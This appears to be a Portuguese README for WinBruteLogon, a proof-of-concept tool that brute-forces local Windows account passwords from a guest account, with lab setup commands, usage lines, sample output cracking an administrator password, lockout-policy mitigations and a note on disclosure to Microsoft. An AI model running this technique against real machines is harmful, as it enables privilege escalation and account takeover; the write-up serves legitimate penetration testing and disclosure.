
Quebre a senha de qualquer usuário do Microsoft Windows sem qualquer privilégio (incluindo conta de convidado)
Aviso 1: Estamos felizes em anunciar que nossa ferramenta atual foi portada para uma versão PowerShell. Isso significa que os usuários agora podem acessar e usar a ferramenta diretamente da linha de comando do PowerShell, tornando-a ainda mais conveniente e eficiente de usar. Acreditamos que esta nova versão beneficiará muito nossos usuários e melhorará sua experiência com a ferramenta. Obrigado pelo seu apoio contínuo e esperamos que você goste da nova versão PowerShell: https://github.com/DarkCoderSc/power-brute-logon
Aviso 2: Recentemente soubemos que a Microsoft habilitou a política de bloqueio de conta por padrão em versões modernas e atualizadas do Windows. Essa política ajuda a proteger o sistema bloqueando uma conta após um certo número de tentativas de login com falha. Embora seja uma medida de segurança benéfica, ela torna a prova de conceito (PoC) ineficiente nesses sistemas.
Data de lançamento: 2020-05-14
Alvo: Windows XP até a versão mais recente do Windows 10 (1909)

Localização da fragilidade : LogonUserA, LogonUserW, CreateProcessWithLogonA, CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
O Win Brute Logon é projetado para simular um ataque de força bruta em uma conta da Microsoft, adivinhando grandes quantidades de combinações de senhas em um curto período de tempo. Isso permite que testadores de penetração testem a postura de segurança de seus sistemas e avaliem suas defesas contra ataques de força bruta. A ferramenta explora a falta de um mecanismo de bloqueio de conta, que é uma fragilidade comum em muitos sistemas (antes do bloqueio de conta ser ativado por padrão no Windows 11). Ao tentar adivinhar a senha de uma conta, a ferramenta pode ajudar os testadores de penetração a identificar e corrigir vulnerabilidades em suas medidas de segurança. Deve ser usada de forma responsável e dentro dos limites da lei.
Para esta demonstração, configuraremos uma versão limpa do Windows 10 em uma máquina virtual ou física. Após configurar a máquina, faça login como administrador. Em seguida, crie duas contas locais diferentes: uma conta de administrador e uma conta de usuário comum. Observe que, embora usaremos a conta de convidado para a demonstração, esta prova de conceito (PoC) não se limita à conta de convidado. Pode ser usada a partir de qualquer conta ou grupo, incluindo convidado, usuário comum e administrador.
net user darkcodersc /add
net user darkcodersc trousers (trousers é a senha)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (ozlq6qwm é a senha)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
No meu caso, tanto trousers quanto ozlq6qwm estão na SecList : https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt
Para iniciar a demonstração, faça logout da conta de administrador ou reinicie a máquina e faça login na conta de convidado. Em seguida, coloque o executável da PoC em um local onde você tenha acesso como usuário convidado.
Uso : WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v é opcional, designa o modo detalhado.
Por padrão, o nome do domínio é o valor designado pela variável de ambiente %USERDOMAIN%. Você pode especificar um nome personalizado com a opção -d
darkcodersc (Administrador)prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
Aguarde alguns segundos para ver o seguinte resultado:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (Usuário Comum)prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
Aguarde alguns segundos para ver o seguinte resultado:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
Em um cenário do mundo real, se um invasor obtiver acesso a uma conta de usuário com baixos privilégios, ele poderá quebrar a senha de um usuário com mais privilégios e escalar seus privilégios. Para mitigar esse risco, algumas medidas podem ser tomadas:
Para implementar uma política de bloqueio de segurança (que não está habilitada por padrão), siga estas etapas:
Observe que a política de bloqueio não se aplica à conta de administrador. Nesse caso, a melhor proteção para a conta de administrador (se habilitada) é configurar uma senha muito complexa.
Um relatório detalhando essa fragilidade foi enviado à Equipe de Segurança da Microsoft. Eles devem considerar ativar a política de bloqueio de conta por padrão.
(ATUALIZAÇÃO 2022): O bloqueio de conta finalmente ativado por padrão.